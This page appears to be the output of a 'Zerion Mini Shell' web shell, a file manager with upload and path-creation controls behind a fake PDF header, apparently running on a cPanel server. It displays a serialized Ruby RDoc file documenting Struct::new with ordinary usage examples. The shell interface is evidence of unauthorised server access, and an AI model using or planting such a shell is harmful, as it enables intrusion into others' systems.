%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/cpanel/ea-ruby24/root/usr/share/ri/system/Struct/
Upload File :
Create Path :
Current File : //opt/cpanel/ea-ruby24/root/usr/share/ri/system/Struct/new-c.ri

U:RDoc::AnyMethod[iI"new:ETI"Struct::new;TT:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph;	[I"OThe first two forms are used to create a new Struct subclass +class_name+ ;TI"Lthat can contain a value for each +member_name+.  This subclass can be ;TI"Dused to create instances of the structure like any other Class.;To:RDoc::Markup::BlankLineo;
;	[
I"IIf the +class_name+ is omitted an anonymous structure class will be ;TI"Ocreated.  Otherwise, the name of this struct will appear as a constant in ;TI"Jclass Struct, so it must be unique for all Structs in the system and ;TI"Imust start with a capital letter.  Assigning a structure class to a ;TI"<constant also gives the class the name of the constant.;T@o:RDoc::Markup::Verbatim;	[I"3# Create a structure with a name under Struct
;TI"-Struct.new("Customer", :name, :address)
;TI"#=> Struct::Customer
;TI".Struct::Customer.new("Dave", "123 Main")
;TI"D#=> #<struct Struct::Customer name="Dave", address="123 Main">
;TI"
;TI"0# Create a structure named by its constant
;TI",Customer = Struct.new(:name, :address)
;TI"#=> Customer
;TI"&Customer.new("Dave", "123 Main")
;TI"<#=> #<struct Customer name="Dave", address="123 Main">
;T:@format0o;
;	[I"@If a block is given it will be evaluated in the context of ;TI"=+StructClass+, passing the created class as a parameter:;T@o;;	[I"/Customer = Struct.new(:name, :address) do
;TI"  def greeting
;TI"    "Hello #{name}!"
;TI"  end
;TI"	end
;TI"BCustomer.new("Dave", "123 Main").greeting  #=> "Hello Dave!"
;T;
0o;
;	[I"HThis is the recommended way to customize a struct.  Subclassing an ;TI"Oanonymous struct creates an extra anonymous class that will never be used.;T@o;
;	[
I"PThe last two forms create a new instance of a struct subclass.  The number ;TI"Gof +value+ parameters must be less than or equal to the number of ;TI"Oattributes defined for the structure.  Unset parameters default to +nil+. ;TI"BPassing more parameters than number of attributes will raise ;TI"an ArgumentError.;T@o;;	[
I",Customer = Struct.new(:name, :address)
;TI"&Customer.new("Dave", "123 Main")
;TI"<#=> #<struct Customer name="Dave", address="123 Main">
;TI"Customer["Dave"]
;TI"4#=> #<struct Customer name="Dave", address=nil>;T;
0:
@fileI"
struct.c;T:0@omit_headings_from_table_of_contents_below0I"6Struct.new([class_name] [, member_name]+)                        -> StructClass
Struct.new([class_name] [, member_name]+) {|StructClass| block } -> StructClass
StructClass.new(value, ...)                                      -> object
StructClass[value, ...]                                          -> object
;T0[I"(*args);T@CFI"Struct;TcRDoc::NormalClass00

Zerion Mini Shell 1.0